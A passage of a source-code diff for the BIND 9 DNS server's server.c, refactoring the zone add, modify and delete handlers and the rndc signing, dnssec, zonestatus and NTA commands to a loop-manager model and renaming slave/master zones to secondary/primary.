-	DE_CONST(&zl->value.list, list);
+	list = UNCONST(&zl->value.list);
 
 	myname = dns_fixedname_initname(&myfixed);
 
 	for (elt = ISC_LIST_HEAD(*list); elt != NULL;
-	     elt = ISC_LIST_NEXT(elt, link)) {
+	     elt = ISC_LIST_NEXT(elt, link))
+	{
 		const cfg_obj_t *zconf = cfg_listelt_value(elt);
 		const char *zn;
 		cfg_listelt_t *e;
 
 		zn = cfg_obj_asstring(cfg_tuple_get(zconf, "name"));
-		result = dns_name_fromstring(myname, zn, 0, NULL);
+		result = dns_name_fromstring(myname, zn, dns_rootname, 0, NULL);
 		if (result != ISC_R_SUCCESS || !dns_name_equal(zname, myname)) {
 			continue;
 		}
 
-		DE_CONST(elt, e);
+		e = UNCONST(elt);
 		ISC_LIST_UNLINK(*list, e, link);
 		cfg_obj_destroy(pctx, &e->obj);
 		isc_mem_put(pctx->mctx, e, sizeof(*e));
@@ -13771,24 +13396,19 @@ do_addzone(named_server_t *server, ns_cfgctx_t *cfg, dns_view_t *view,
 
 	/* Zone shouldn't already exist */
 	if (redirect) {
-		result = (view->redirect != NULL) ? ISC_R_SUCCESS
-						  : ISC_R_NOTFOUND;
+		result = (view->redirect == NULL) ? ISC_R_NOTFOUND
+						  : ISC_R_EXISTS;
 	} else {
-		result = dns_zt_find(view->zonetable, name, 0, NULL, &zone);
+		result = dns_view_findzone(view, name, DNS_ZTFIND_EXACT, &zone);
+		if (result == ISC_R_SUCCESS) {
+			result = ISC_R_EXISTS;
+		}
 	}
-	if (result == ISC_R_SUCCESS) {
-		result = ISC_R_EXISTS;
-		goto cleanup;
-	} else if (result == DNS_R_PARTIALMATCH) {
-		/* Create our sub-zone anyway */
-		dns_zone_detach(&zone);
-		zone = NULL;
-	} else if (result != ISC_R_NOTFOUND) {
+	if (result != ISC_R_NOTFOUND) {
 		goto cleanup;
 	}
 
-	result = isc_task_beginexclusive(server->task);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+	isc_loopmgr_pause(named_g_loopmgr);
 
 #ifndef HAVE_LMDB
 	/*
@@ -13796,7 +13416,7 @@ do_addzone(named_server_t *server, ns_cfgctx_t *cfg, dns_view_t *view,
 	 */
 	result = isc_stdio_open(view->new_zone_file, "a", &fp);
 	if (result != ISC_R_SUCCESS) {
-		isc_task_endexclusive(server->task);
+		isc_loopmgr_resume(named_g_loopmgr);
 		TCHECK(putstr(text, "unable to create '"));
 		TCHECK(putstr(text, view->new_zone_file));
 		TCHECK(putstr(text, "': "));
@@ -13812,7 +13432,7 @@ do_addzone(named_server_t *server, ns_cfgctx_t *cfg, dns_view_t *view,
 	/* Make sure we can open the NZD database */
 	result = nzd_writable(view);
 	if (result != ISC_R_SUCCESS) {
-		isc_task_endexclusive(server->task);
+		isc_loopmgr_resume(named_g_loopmgr);
 		TCHECK(putstr(text, "unable to open NZD database for '"));
 		TCHECK(putstr(text, view->new_zone_db));
 		TCHECK(putstr(text, "'"));
@@ -13823,13 +13443,12 @@ do_addzone(named_server_t *server, ns_cfgctx_t *cfg, dns_view_t *view,
 
 	/* Mark view unfrozen and configure zone */
 	dns_view_thaw(view);
-	result = configure_zone(cfg->config, zoneobj, cfg->vconfig,
-				server->mctx, view, &server->viewlist,
-				&server->kasplist, cfg->actx, true, false,
-				false);
+	result = configure_zone(cfg->config, zoneobj, cfg->vconfig, view,
+				&server->viewlist, &server->kasplist, cfg->actx,
+				true, false, false);
 	dns_view_freeze(view);
 
-	isc_task_endexclusive(server->task);
+	isc_loopmgr_resume(named_g_loopmgr);
 
 	if (result != ISC_R_SUCCESS) {
 		TCHECK(putstr(text, "configure_zone failed: "));
@@ -13844,7 +13463,7 @@ do_addzone(named_server_t *server, ns_cfgctx_t *cfg, dns_view_t *view,
 		}
 		dns_zone_attach(view->redirect, &zone);
 	} else {
-		result = dns_zt_find(view->zonetable, name, 0, NULL, &zone);
+		result = dns_view_findzone(view, name, DNS_ZTFIND_EXACT, &zone);
 		if (result != ISC_R_SUCCESS) {
 			isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 				      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
@@ -13863,8 +13482,7 @@ do_addzone(named_server_t *server, ns_cfgctx_t *cfg, dns_view_t *view,
 	if (cfg->nzf_config == NULL) {
 		cfg_obj_attach(zoneconf, &cfg->nzf_config);
 	} else {
-		cfg_obj_t *z;
-		DE_CONST(zoneobj, z);
+		cfg_obj_t *z = UNCONST(zoneobj);
 		CHECK(cfg_parser_mapadd(cfg->add_parser, cfg->nzf_config, z,
 					"zone"));
 	}
@@ -13893,7 +13511,7 @@ do_addzone(named_server_t *server, ns_cfgctx_t *cfg, dns_view_t *view,
 		}
 
 		/* Remove the zone from the zone table */
-		dns_zt_unmount(view->zonetable, zone);
+		dns_view_delzone(view, zone);
 		goto cleanup;
 	}
 
@@ -13943,7 +13561,6 @@ do_modzone(named_server_t *server, ns_cfgctx_t *cfg, dns_view_t *view,
 	isc_result_t result, tresult;
 	dns_zone_t *zone = NULL;
 	bool added;
-	bool exclusive = false;
 #ifndef HAVE_LMDB
 	FILE *fp = NULL;
 	cfg_obj_t *z;
@@ -13962,7 +13579,7 @@ do_modzone(named_server_t *server, ns_cfgctx_t *cfg, dns_view_t *view,
 			result = ISC_R_NOTFOUND;
 		}
 	} else {
-		result = dns_zt_find(view->zonetable, name, 0, NULL, &zone);
+		result = dns_view_findzone(view, name, DNS_ZTFIND_EXACT, &zone);
 	}
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup;
@@ -13979,9 +13596,7 @@ do_modzone(named_server_t *server, ns_cfgctx_t *cfg, dns_view_t *view,
 	}
 #endif /* ifndef HAVE_LMDB */
 
-	result = isc_task_beginexclusive(server->task);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-	exclusive = true;
+	isc_loopmgr_pause(named_g_loopmgr);
 
 #ifndef HAVE_LMDB
 	/* Make sure we can open the configuration save file */
@@ -13991,6 +13606,7 @@ do_modzone(named_server_t *server, ns_cfgctx_t *cfg, dns_view_t *view,
 		TCHECK(putstr(text, view->new_zone_file));
 		TCHECK(putstr(text, "': "));
 		TCHECK(putstr(text, isc_result_totext(result)));
+		isc_loopmgr_resume(named_g_loopmgr);
 		goto cleanup;
 	}
 	(void)isc_stdio_close(fp);
@@ -14005,20 +13621,19 @@ do_modzone(named_server_t *server, ns_cfgctx_t *cfg, dns_view_t *view,
 		TCHECK(putstr(text, view->new_zone_db));
 		TCHECK(putstr(text, "'"));
 		result = ISC_R_FAILURE;
+		isc_loopmgr_resume(named_g_loopmgr);
 		goto cleanup;
 	}
 #endif /* HAVE_LMDB */
 
 	/* Reconfigure the zone */
 	dns_view_thaw(view);
-	result = configure_zone(cfg->config, zoneobj, cfg->vconfig,
-				server->mctx, view, &server->viewlist,
-				&server->kasplist, cfg->actx, true, false,
-				true);
+	result = configure_zone(cfg->config, zoneobj, cfg->vconfig, view,
+				&server->viewlist, &server->kasplist, cfg->actx,
+				true, false, true);
 	dns_view_freeze(view);
 
-	exclusive = false;
-	isc_task_endexclusive(server->task);
+	isc_loopmgr_resume(named_g_loopmgr);
 
 	if (result != ISC_R_SUCCESS) {
 		TCHECK(putstr(text, "configure_zone failed: "));
@@ -14033,7 +13648,7 @@ do_modzone(named_server_t *server, ns_cfgctx_t *cfg, dns_view_t *view,
 		}
 		dns_zone_attach(view->redirect, &zone);
 	} else {
-		CHECK(dns_zt_find(view->zonetable, name, 0, NULL, &zone));
+		CHECK(dns_view_findzone(view, name, DNS_ZTFIND_EXACT, &zone));
 	}
 
 #ifndef HAVE_LMDB
@@ -14104,13 +13719,13 @@ do_modzone(named_server_t *server, ns_cfgctx_t *cfg, dns_view_t *view,
 		}
 
 		/* Remove the zone from the zone table */
-		dns_zt_unmount(view->zonetable, zone);
+		dns_view_delzone(view, zone);
 		goto cleanup;
 	}
 
 #ifndef HAVE_LMDB
 	/* Store the new zone configuration; also in NZF if applicable */
-	DE_CONST(zoneobj, z);
+	z = UNCONST(zoneobj);
 	CHECK(cfg_parser_mapadd(cfg->add_parser, cfg->nzf_config, z, "zone"));
 #endif /* HAVE_LMDB */
 
@@ -14138,9 +13753,6 @@ do_modzone(named_server_t *server, ns_cfgctx_t *cfg, dns_view_t *view,
 	}
 
 cleanup:
-	if (exclusive) {
-		isc_task_endexclusive(server->task);
-	}
 
 #ifndef HAVE_LMDB
 	if (fp != NULL) {
@@ -14180,6 +13792,8 @@ named_server_changezone(named_server_t *server, char *command,
 	dns_fixedname_t fname;
 	dns_name_t *dnsname;
 
+	REQUIRE(text != NULL);
+
 	if (strncasecmp(command, "add", 3) == 0) {
 		addzone = true;
 	} else {
@@ -14240,7 +13854,7 @@ named_server_changezone(named_server_t *server, char *command,
 		      addzone ? NAMED_COMMAND_ADDZONE : NAMED_COMMAND_MODZONE);
 
 	/* Changing a zone counts as reconfiguration */
-	CHECK(isc_time_now(&named_g_configtime));
+	named_g_configtime = isc_time_now();
 
 cleanup:
 	if (isc_buffer_usedlength(*text) > 0) {
@@ -14281,12 +13895,13 @@ typedef struct {
  * Carry out a zone deletion scheduled by named_server_delzone().
  */
 static void
-rmzone(isc_task_t *task, isc_event_t *event) {
-	ns_dzctx_t *dz = (ns_dzctx_t *)event->ev_arg;
-	dns_zone_t *zone, *raw = NULL, *mayberaw;
+rmzone(void *arg) {
+	ns_dzctx_t *dz = (ns_dzctx_t *)arg;
+	dns_zone_t *zone = NULL, *raw = NULL, *mayberaw = NULL;
+	dns_catz_zone_t *catz = NULL;
 	char zonename[DNS_NAME_FORMATSIZE];
-	dns_view_t *view;
-	ns_cfgctx_t *cfg;
+	dns_view_t *view = NULL;
+	ns_cfgctx_t *cfg = NULL;
 	dns_db_t *dbp = NULL;
 	bool added;
 	isc_result_t result;
@@ -14297,8 +13912,6 @@ rmzone(isc_task_t *task, isc_event_t *event) {
 
 	REQUIRE(dz != NULL);
 
-	isc_event_free(&event);
-
 	/* Dig out configuration for this zone */
 	zone = dz->zone;
 	view = dns_zone_getview(zone);
@@ -14310,10 +13923,14 @@ rmzone(isc_task_t *task, isc_event_t *event) {
 		      "deleting zone %s in view %s via delzone", zonename,
 		      view->name);
 
-	/* Remove the zone from configuration (and NZF file if applicable) */
+	/*
+	 * Remove the zone from configuration (and NZF file if applicable)
+	 * (If this is a catalog zone member then nzf_config can be NULL)
+	 */
 	added = dns_zone_getadded(zone);
+	catz = dns_zone_get_parentcatz(zone);
 
-	if (added && cfg != NULL) {
+	if (added && catz == NULL && cfg != NULL) {
 #ifdef HAVE_LMDB
 		/* Make sure we can open the NZD database */
 		LOCK(&view->new_zone_lock);
@@ -14330,8 +13947,7 @@ rmzone(isc_task_t *task, isc_event_t *event) {
 		if (result != ISC_R_SUCCESS) {
 			isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 				      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
-				      "unable to "
-				      "delete zone configuration: %s",
+				      "unable to delete zone configuration: %s",
 				      isc_result_totext(result));
 		}
 
@@ -14346,8 +13962,7 @@ rmzone(isc_task_t *task, isc_event_t *event) {
 		if (result != ISC_R_SUCCESS) {
 			isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 				      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
-				      "unable to "
-				      "delete zone configuration: %s",
+				      "unable to delete zone configuration: %s",
 				      isc_result_totext(result));
 		}
 #endif /* HAVE_LMDB */
@@ -14368,8 +13983,7 @@ rmzone(isc_task_t *task, isc_event_t *event) {
 		if (result != ISC_R_SUCCESS) {
 			isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 				      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
-				      "unable to "
-				      "delete zone configuration: %s",
+				      "unable to delete zone configuration: %s",
 				      isc_result_totext(result));
 		}
 	}
@@ -14380,7 +13994,7 @@ rmzone(isc_task_t *task, isc_event_t *event) {
 		dns_zone_unload(zone);
 	}
 
-	/* Clean up stub/slave zone files if requested to do so */
+	/* Clean up stub/secondary zone files if requested to do so */
 	dns_zone_getraw(zone, &raw);
 	mayberaw = (raw != NULL) ? raw : zone;
 
@@ -14433,7 +14047,6 @@ rmzone(isc_task_t *task, isc_event_t *event) {
 	}
 	dns_zone_detach(&zone);
 	isc_mem_put(named_g_mctx, dz, sizeof(*dz));
-	isc_task_detach(&task);
 }
 
 /*
@@ -14452,8 +14065,8 @@ named_server_delzone(named_server_t *server, isc_lex_t *lex,
 	const char *ptr;
 	bool added;
 	ns_dzctx_t *dz = NULL;
-	isc_event_t *dzevent = NULL;
-	isc_task_t *task = NULL;
+
+	REQUIRE(text != NULL);
 
 	/* Skip the command name. */
 	ptr = next_token(lex, text);
@@ -14484,8 +14097,8 @@ named_server_delzone(named_server_t *server, isc_lex_t *lex,
 	if (dns_zone_get_rpz_num(zone) != DNS_RPZ_INVALID_NUM) {
 		TCHECK(putstr(text, "zone '"));
 		TCHECK(putstr(text, zonename));
-		TCHECK(putstr(text, "' cannot be deleted: response-policy "
-				    "zone."));
+		TCHECK(putstr(text,
+			      "' cannot be deleted: response-policy zone."));
 		result = ISC_R_FAILURE;
 		goto cleanup;
 	}
@@ -14494,23 +14107,18 @@ named_server_delzone(named_server_t *server, isc_lex_t *lex,
 	if (dns_zone_gettype(zone) == dns_zone_redirect) {
 		dns_zone_detach(&view->redirect);
 	} else {
-		CHECK(dns_zt_unmount(view->zonetable, zone));
+		CHECK(dns_view_delzone(view, zone));
 	}
 
 	/* Send cleanup event */
 	dz = isc_mem_get(named_g_mctx, sizeof(*dz));
-
-	dz->cleanup = cleanup;
-	dz->zone = NULL;
+	*dz = (ns_dzctx_t){
+		.cleanup = cleanup,
+	};
 	dns_zone_attach(zone, &dz->zone);
-	dzevent = isc_event_allocate(named_g_mctx, server, NAMED_EVENT_DELZONE,
-				     rmzone, dz, sizeof(isc_event_t));
+	isc_async_run(dns_zone_getloop(zone), rmzone, dz);
 
-	dns_zone_gettask(zone, &task);
-	isc_task_send(task, &dzevent);
-	dz = NULL;
-
-	/* Inform user about cleaning up stub/slave zone files */
+	/* Inform user about cleaning up stub/secondary zone files */
 	dns_zone_getraw(zone, &raw);
 	mayberaw = (raw != NULL) ? raw : zone;
 
@@ -14527,7 +14135,7 @@ named_server_delzone(named_server_t *server, isc_lex_t *lex,
 		TCHECK(putstr(text, "zone '"));
 		TCHECK(putstr(text, zonename));
 		TCHECK(putstr(text, "' and associated files will be deleted."));
-	} else if (dns_zone_gettype(mayberaw) == dns_zone_slave ||
+	} else if (dns_zone_gettype(mayberaw) == dns_zone_secondary ||
 		   dns_zone_gettype(mayberaw) == dns_zone_mirror ||
 		   dns_zone_gettype(mayberaw) == dns_zone_stub)
 	{
@@ -14558,7 +14166,7 @@ named_server_delzone(named_server_t *server, isc_lex_t *lex,
 		      "zone %s scheduled for removal via delzone", zonename);
 
 	/* Removing a zone counts as reconfiguration */
-	CHECK(isc_time_now(&named_g_configtime));
+	named_g_configtime = isc_time_now();
 
 	result = ISC_R_SUCCESS;
 
@@ -14590,7 +14198,8 @@ find_name_in_list_from_map(const cfg_obj_t *config,
 	if (strcmp(map_key_for_list, "zone") == 0) {
 		name1 = dns_fixedname_initname(&fixed1);
 		name2 = dns_fixedname_initname(&fixed2);
-		result = dns_name_fromstring(name1, name, 0, NULL);
+		result = dns_name_fromstring(name1, name, dns_rootname, 0,
+					     NULL);
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
 	}
 
@@ -14609,9 +14218,11 @@ find_name_in_list_from_map(const cfg_obj_t *config,
 		}
 
 		if (name1 != NULL) {
-			result = dns_name_fromstring(name2, vname, 0, NULL);
+			result = dns_name_fromstring(name2, vname, dns_rootname,
+						     0, NULL);
 			if (result == ISC_R_SUCCESS &&
-			    dns_name_equal(name1, name2)) {
+			    dns_name_equal(name1, name2))
+			{
 				const cfg_obj_t *zoptions;
 				const cfg_obj_t *typeobj = NULL;
 				zoptions = cfg_tuple_get(obj, "options");
@@ -14669,6 +14280,8 @@ named_server_showzone(named_server_t *server, isc_lex_t *lex,
 	bool added, redirect;
 	ns_dzarg_t dzarg;
 
+	REQUIRE(text != NULL);
+
 	/* Parse parameters */
 	CHECK(zone_from_args(server, lex, NULL, &zone, zonename, text, true));
 	if (zone == NULL) {
@@ -14803,6 +14416,9 @@ named_server_signing(named_server_t *server, isc_lex_t *lex,
 	unsigned char salt[255];
 	const char *ptr;
 	size_t n;
+	bool kasp = false;
+
+	REQUIRE(text != NULL);
 
 	dns_rdataset_init(&privset);
 
@@ -14821,7 +14437,8 @@ named_server_signing(named_server_t *server, isc_lex_t *lex,
 	if (strcasecmp(ptr, "-list") == 0) {
 		list = true;
 	} else if ((strcasecmp(ptr, "-clear") == 0) ||
-		   (strcasecmp(ptr, "-clean") == 0)) {
+		   (strcasecmp(ptr, "-clean") == 0))
+	{
 		clear = true;
 		ptr = next_token(lex, text);
 		if (ptr == NULL) {
@@ -14865,7 +14482,8 @@ named_server_signing(named_server_t *server, isc_lex_t *lex,
 			}
 
 			if (hash > 0xffU || flags > 0xffU ||
-			    iter > dns_nsec3_maxiterations()) {
+			    iter > dns_nsec3_maxiterations())
+			{
 				return (ISC_R_RANGE);
 			}
 
@@ -14906,17 +14524,14 @@ named_server_signing(named_server_t *server, isc_lex_t *lex,
 	}
 
 	if (dns_zone_getkasp(zone) != NULL) {
-		(void)putstr(text, "zone uses dnssec-policy, use rndc dnssec "
-				   "command instead");
-		(void)putnull(text);
-		goto cleanup;
+		kasp = true;
 	}
 
 	if (clear) {
 		CHECK(dns_zone_keydone(zone, keystr));
 		(void)putstr(text, "request queued");
 		(void)putnull(text);
-	} else if (chain) {
+	} else if (chain && !kasp) {
 		CHECK(dns_zone_setnsec3param(
 			zone, (uint8_t)hash, (uint8_t)flags, iter,
 			(uint8_t)saltlen, salt, true, resalt));
@@ -14948,7 +14563,12 @@ named_server_signing(named_server_t *server, isc_lex_t *lex,
 		     result = dns_rdataset_next(&privset))
 		{
 			dns_rdata_t priv = DNS_RDATA_INIT;
-			char output[BUFSIZ];
+			/*
+			 * In theory, the output buffer could hold a full RDATA
+			 * record which is 16-bit and then some text around
+			 * it
+			 */
+			char output[UINT16_MAX + BUFSIZ];
 			isc_buffer_t buf;
 
 			dns_rdataset_current(&privset, &priv);
@@ -14968,6 +14588,10 @@ named_server_signing(named_server_t *server, isc_lex_t *lex,
 		if (result == ISC_R_NOMORE) {
 			result = ISC_R_SUCCESS;
 		}
+	} else if (kasp) {
+		(void)putstr(text, "zone uses dnssec-policy, use rndc dnssec "
+				   "command instead");
+		(void)putnull(text);
 	}
 
 cleanup:
@@ -14990,7 +14614,7 @@ named_server_signing(named_server_t *server, isc_lex_t *lex,
 	return (result);
 }
 
-static inline bool
+static bool
 argcheck(char *cmd, const char *full) {
 	size_t l;
 
@@ -15013,8 +14637,8 @@ named_server_dnssec(named_server_t *server, isc_lex_t *lex,
 	isc_result_t result = ISC_R_SUCCESS;
 	dns_zone_t *zone = NULL;
 	dns_kasp_t *kasp = NULL;
-	dns_dnsseckeylist_t keys, dnskeys;
-	dns_dnsseckey_t *key, *key_next = NULL;
+	dns_dnsseckeylist_t keys;
+	dns_dnsseckey_t *key;
 	char *ptr, *zonetext = NULL;
 	const char *msg = NULL;
 	/* variables for -checkds */
@@ -15032,11 +14656,10 @@ named_server_dnssec(named_server_t *server, isc_lex_t *lex,
 	isc_stdtime_t now, when;
 	isc_time_t timenow, timewhen;
 	const char *dir;
-	dns_name_t *origin;
 	dns_db_t *db = NULL;
-	dns_dbnode_t *node = NULL;
 	dns_dbversion_t *version = NULL;
-	dns_rdataset_t keyset;
+
+	REQUIRE(text != NULL);
 
 	/* Skip the command name. */
 	ptr = next_token(lex, text);
@@ -15051,13 +14674,11 @@ named_server_dnssec(named_server_t *server, isc_lex_t *lex,
 	}
 
 	/* Initialize current time and key list. */
-	TIME_NOW(&timenow);
+	timenow = isc_time_now();
 	now = isc_time_seconds(&timenow);
 	when = now;
 
-	ISC_LIST_INIT(dnskeys);
 	ISC_LIST_INIT(keys);
-	dns_rdataset_init(&keyset);
 
 	if (strcasecmp(ptr, "-status") == 0) {
 		status = true;
@@ -15170,44 +14791,14 @@ named_server_dnssec(named_server_t *server, isc_lex_t *lex,
 
 	/* Get DNSSEC keys. */
 	dir = dns_zone_getkeydirectory(zone);
-	origin = dns_zone_getorigin(zone);
 	CHECK(dns_zone_getdb(zone, &db));
-	CHECK(dns_db_findnode(db, origin, false, &node));
 	dns_db_currentversion(db, &version);
-	/* Get keys from private key files. */
-	dns_zone_lock_keyfiles(zone);
-	result = dns_dnssec_findmatchingkeys(dns_zone_getorigin(zone), dir, now,
-					     dns_zone_getmctx(zone), &keys);
-	dns_zone_unlock_keyfiles(zone);
-	if (result != ISC_R_SUCCESS && result != ISC_R_NOTFOUND) {
-		goto cleanup;
-	}
-	/* Get public keys (dnskeys). */
-	result = dns_db_findrdataset(db, node, version, dns_rdatatype_dnskey,
-				     dns_rdatatype_none, 0, &keyset, NULL);
-	if (result == ISC_R_SUCCESS) {
-		CHECK(dns_dnssec_keylistfromrdataset(
-			origin, dir, dns_zone_getmctx(zone), &keyset, NULL,
-			NULL, false, false, &dnskeys));
-	} else if (result != ISC_R_NOTFOUND) {
-		CHECK(result);
-	}
-	/* Add new 'dnskeys' to 'keys'. */
-	for (dns_dnsseckey_t *k1 = ISC_LIST_HEAD(dnskeys); k1 != NULL;
-	     k1 = key_next) {
-		dns_dnsseckey_t *k2 = NULL;
-		key_next = ISC_LIST_NEXT(k1, link);
-
-		for (k2 = ISC_LIST_HEAD(keys); k2 != NULL;
-		     k2 = ISC_LIST_NEXT(k2, link)) {
-			if (dst_key_compare(k1->key, k2->key)) {
-				break;
-			}
-		}
-		/* No match found, add the new key. */
-		if (k2 == NULL) {
-			ISC_LIST_UNLINK(dnskeys, k1, link);
-			ISC_LIST_APPEND(keys, k1, link);
+	LOCK(&kasp->lock);
+	result = dns_zone_getdnsseckeys(zone, db, version, now, &keys);
+	UNLOCK(&kasp->lock);
+	if (result != ISC_R_SUCCESS) {
+		if (result != ISC_R_NOTFOUND) {
+			goto cleanup;
 		}
 	}
 
@@ -15329,12 +14920,6 @@ named_server_dnssec(named_server_t *server, isc_lex_t *lex,
 		(void)putnull(text);
 	}
 
-	if (dns_rdataset_isassociated(&keyset)) {
-		dns_rdataset_disassociate(&keyset);
-	}
-	if (node != NULL) {
-		dns_db_detachnode(db, &node);
-	}
 	if (version != NULL) {
 		dns_db_closeversion(db, &version, false);
 	}
@@ -15342,11 +14927,6 @@ named_server_dnssec(named_server_t *server, isc_lex_t *lex,
 		dns_db_detach(&db);
 	}
 
-	while (!ISC_LIST_EMPTY(dnskeys)) {
-		key = ISC_LIST_HEAD(dnskeys);
-		ISC_LIST_UNLINK(dnskeys, key, link);
-		dns_dnsseckey_destroy(dns_zone_getmctx(zone), &key);
-	}
 	while (!ISC_LIST_EMPTY(keys)) {
 		key = ISC_LIST_HEAD(keys);
 		ISC_LIST_UNLINK(keys, key, link);
@@ -15364,7 +14944,7 @@ static isc_result_t
 putmem(isc_buffer_t **b, const char *str, size_t len) {
 	isc_result_t result;
 
-	result = isc_buffer_reserve(b, (unsigned int)len);
+	result = isc_buffer_reserve(*b, (unsigned int)len);
 	if (result != ISC_R_SUCCESS) {
 		return (ISC_R_NOSPACE);
 	}
@@ -15373,7 +14953,7 @@ putmem(isc_buffer_t **b, const char *str, size_t len) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 putstr(isc_buffer_t **b, const char *str) {
 	return (putmem(b, str, strlen(str)));
 }
@@ -15382,7 +14962,7 @@ static isc_result_t
 putuint8(isc_buffer_t **b, uint8_t val) {
 	isc_result_t result;
 
-	result = isc_buffer_reserve(b, 1);
+	result = isc_buffer_reserve(*b, 1);
 	if (result != ISC_R_SUCCESS) {
 		return (ISC_R_NOSPACE);
 	}
@@ -15391,7 +14971,7 @@ putuint8(isc_buffer_t **b, uint8_t val) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 putnull(isc_buffer_t **b) {
 	return (putuint8(b, 0));
 }
@@ -15421,6 +15001,8 @@ named_server_zonestatus(named_server_t *server, isc_lex_t *lex,
 	char **incfiles = NULL;
 	int nfiles = 0;
 
+	REQUIRE(text != NULL);
+
 	isc_time_settoepoch(&loadtime);
 	isc_time_settoepoch(&refreshtime);
 	isc_time_settoepoch(&expiretime);
@@ -15466,7 +15048,7 @@ named_server_zonestatus(named_server_t *server, isc_lex_t *lex,
 	}
 
 	/* Database node count */
-	nodes = dns_db_nodecount(hasraw ? rawdb : db);
+	nodes = dns_db_nodecount(hasraw ? rawdb : db, dns_dbtree_main);
 	snprintf(nodebuf, sizeof(nodebuf), "%u", nodes);
 
 	/* Security */
@@ -15483,7 +15065,7 @@ named_server_zonestatus(named_server_t *server, isc_lex_t *lex,
 	isc_time_formathttptimestamp(&loadtime, lbuf, sizeof(lbuf));
 
 	/* Refresh/expire times */
-	if (zonetype == dns_zone_slave || zonetype == dns_zone_mirror ||
+	if (zonetype == dns_zone_secondary || zonetype == dns_zone_mirror ||
 	    zonetype == dns_zone_stub || zonetype == dns_zone_redirect)
 	{
 		dns_zone_getexpiretime(mayberaw, &expiretime);
@@ -15493,24 +15075,23 @@ named_server_zonestatus(named_server_t *server, isc_lex_t *lex,
 	}
 
 	/* Key refresh time */
-	if (zonetype == dns_zone_master ||
-	    (zonetype == dns_zone_slave && hasraw)) {
+	if (zonetype == dns_zone_primary ||
+	    (zonetype == dns_zone_secondary && hasraw))
+	{
 		dns_zone_getrefreshkeytime(zone, &refreshkeytime);
 		isc_time_formathttptimestamp(&refreshkeytime, kbuf,
 					     sizeof(kbuf));
 	}
 
 	/* Dynamic? */
-	if (zonetype == dns_zone_master) {
+	if (zonetype == dns_zone_primary) {
 		dynamic = dns_zone_isdynamic(mayberaw, true);
 		frozen = dynamic && !dns_zone_isdynamic(mayberaw, false);
 	}
 
 	/* Next resign event */
-	if (secure &&
-	    (zonetype == dns_zone_master ||
-	     (zonetype == dns_zone_slave && hasraw)) &&
-	    ((dns_zone_getkeyopts(zone) & DNS_ZONEKEY_NORESIGN) == 0))
+	if (secure && (zonetype == dns_zone_primary ||
+		       (zonetype == dns_zone_secondary && hasraw)))
 	{
 		dns_name_t *name;
 		dns_fixedname_t fixed;
@@ -15521,11 +15102,9 @@ named_server_zonestatus(named_server_t *server, isc_lex_t *lex,
 
 		result = dns_db_getsigningtime(db, &next, name);
 		if (result == ISC_R_SUCCESS) {
-			isc_stdtime_t timenow;
 			char namebuf[DNS_NAME_FORMATSIZE];
 			char typebuf[DNS_RDATATYPE_FORMATSIZE];
 
-			isc_stdtime_get(&timenow);
 			dns_name_format(name, namebuf, sizeof(namebuf));
 			dns_rdatatype_format(next.covers, typebuf,
 					     sizeof(typebuf));
@@ -15683,10 +15262,12 @@ named_server_nta(named_server_t *server, isc_lex_t *lex, bool readonly,
 	const dns_name_t *ntaname;
 	dns_name_t *fname;
 	dns_ttl_t ntattl;
-	bool ttlset = false, excl = false, viewfound = false;
+	bool ttlset = false, viewfound = false;
 	dns_rdataclass_t rdclass = dns_rdataclass_in;
 	bool first = true;
 
+	REQUIRE(text != NULL);
+
 	UNUSED(force);
 
 	fname = dns_fixedname_initname(&fn);
@@ -15823,11 +15404,9 @@ named_server_nta(named_server_t *server, isc_lex_t *lex, bool readonly,
 		CHECK(DNS_R_SYNTAX);
 	}
 
-	isc_stdtime_get(&now);
+	now = isc_stdtime_now();
 
-	result = isc_task_beginexclusive(server->task);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-	excl = true;
+	isc_loopmgr_pause(named_g_loopmgr);
 	for (view = ISC_LIST_HEAD(server->viewlist); view != NULL;
 	     view = ISC_LIST_NEXT(view, link))
 	{
@@ -15897,7 +15476,7 @@ named_server_nta(named_server_t *server, isc_lex_t *lex, bool readonly,
 			} else if (result == ISC_R_NOTFOUND) {
 				wasremoved = false;
 			} else {
-				goto cleanup;
+				goto cleanup_exclusive;
 			}
 
 			if (!first) {
@@ -15933,20 +15512,21 @@ named_server_nta(named_server_t *server, isc_lex_t *lex, bool readonly,
 
 	if (!viewfound) {
 		msg = "No such view";
-		CHECK(ISC_R_NOTFOUND);
+		result = ISC_R_NOTFOUND;
+	} else {
+		(void)putnull(text);
 	}
 
-	(void)putnull(text);
+cleanup_exclusive:
+	isc_loopmgr_resume(named_g_loopmgr);
 
 cleanup:
+
 	if (msg != NULL) {
 		(void)putstr(text, msg);
 		(void)putnull(text);
 	}
 
-	if (excl) {
-		isc_task_endexclusive(server->task);
-	}
 	if (ntatable != NULL) {
 		dns_ntatable_detach(&ntatable);
 	}
@@ -16013,10 +15593,9 @@ mkey_refresh(dns_view_t *view, isc_buffer_t **text) {
 }
 
 static isc_result_t
-mkey_destroy(named_server_t *server, dns_view_t *view, isc_buffer_t **text) {
+mkey_destroy(dns_view_t *view, isc_buffer_t **text) {
 	isc_result_t result;
 	char msg[DNS_NAME_FORMATSIZE + 500] = "";
-	bool exclusive = false;
 	const char *file = NULL;
 	dns_db_t *dbp = NULL;
 	dns_zone_t *mkzone = NULL;
@@ -16030,9 +15609,7 @@ mkey_destroy(named_server_t *server, dns_view_t *view, isc_buffer_t **text) {
 		 view->name);
 	CHECK(putstr(text, msg));
 
-	result = isc_task_beginexclusive(server->task);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-	exclusive = true;
+	isc_loopmgr_pause(named_g_loopmgr);
 
 	/* Remove and clean up managed keys zone from view */
 	mkzone = view->managed_keys;
